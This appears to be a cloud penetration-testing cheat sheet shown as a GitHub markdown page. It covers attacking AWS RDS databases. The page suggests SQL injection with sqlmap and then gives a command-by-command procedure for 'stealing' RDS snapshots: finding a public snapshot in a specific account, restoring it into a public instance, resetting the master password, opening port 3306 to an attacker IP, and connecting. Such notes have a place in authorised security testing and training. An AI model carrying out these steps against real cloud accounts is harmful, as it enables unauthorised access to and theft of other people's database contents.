Skip to content

Latest commit

 

History

History
26 lines (23 loc) · 1.23 KB

cloud-aws-RDS.md

File metadata and controls

26 lines (23 loc) · 1.23 KB

aws rds describe-db-instances

Just like a MySQL, try for sqli!

Check if 3306 is exposed

Sqlmap is your friend ;)

Stealing RDS Snapshots

  • Searching partial snapshots aws rds describe-db-snapshots --include-public --snapshot-type public --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup
  • Restore in instance aws rds restore-db-instance-from-db-snapshot --db-instance-identifier recoverdb --publicly-accessible --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup --availability-zone us-east-1b
  • Once restored, try to access aws rds describe-db-instances --db-instance-identifier recoverdb
  • Reset the master credentials aws rds modify-db-instance --db-instance-identifier recoverdb --master-user-password NewPassword1 --apply-immediately
    • Takes some time, you can check the status: aws rds describe-db-instances
  • Try to access it from EC2 instance which was restored nc rds-endpoint 3306 -zvv
  • If you can't see, you may open 3306:
    • In RDS console, click on the recoverdb instance
    • Click on the Security Group
    • Add an Inbound rule for port 3306 TCP for Cloudhacker IP
  • Then connect it mysql -u -p -h